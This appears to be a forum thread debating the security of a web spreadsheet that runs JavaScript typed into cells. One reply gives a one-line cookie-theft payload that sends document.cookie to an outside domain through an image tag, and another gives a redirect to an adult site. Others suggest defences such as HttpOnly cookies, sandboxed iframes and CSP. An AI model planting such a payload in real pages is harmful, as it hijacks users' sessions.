[jokeofweek]

The fact that you can put Javascript code which interacts with the cells is awesome.

For example you can put 10 in A1 and then put "=sum=0;for(i=0;i<A1;i++)sum+=i" in A2 to get the sum from 0 to 10. I really like this.

[nmat]

You may like, but it is an obvious security flaw. A 'real' product couldn't have this feature, at least not the way it is implemented here.

[genericacct]

Please elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression )

What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?

[araskoktas]

document.write('<img src="somedomain.com/?'+document.cookie);

[cosarara97]

But you'd need to send a spreadsheet with that to the victim.

[araskoktas]

Well yes, the idea is the sheet being open to a group of people for collaboration or whatever reason.

[genericacct]

have you heard of the HttpOnly attribute for cookies?

[araskoktas]

good, send HttpOnly cookies and solve that problem. window.location.href='http://www.redt*be.com'; -- if you think evaluating JS code, as-is passed by the client is a good idea go ahead.

[genericacct]

I most definitely will. and if my users want to browse your favorite porn site i don't see why i shouldn't let them..

[just2n]

Put it in a sandboxed iframe, serve it from a separate domain, and use a very restrictive CSP?

[ubersoldat2k7]

Yeah! Better replace it with VB and you've got no security probl... oh wait!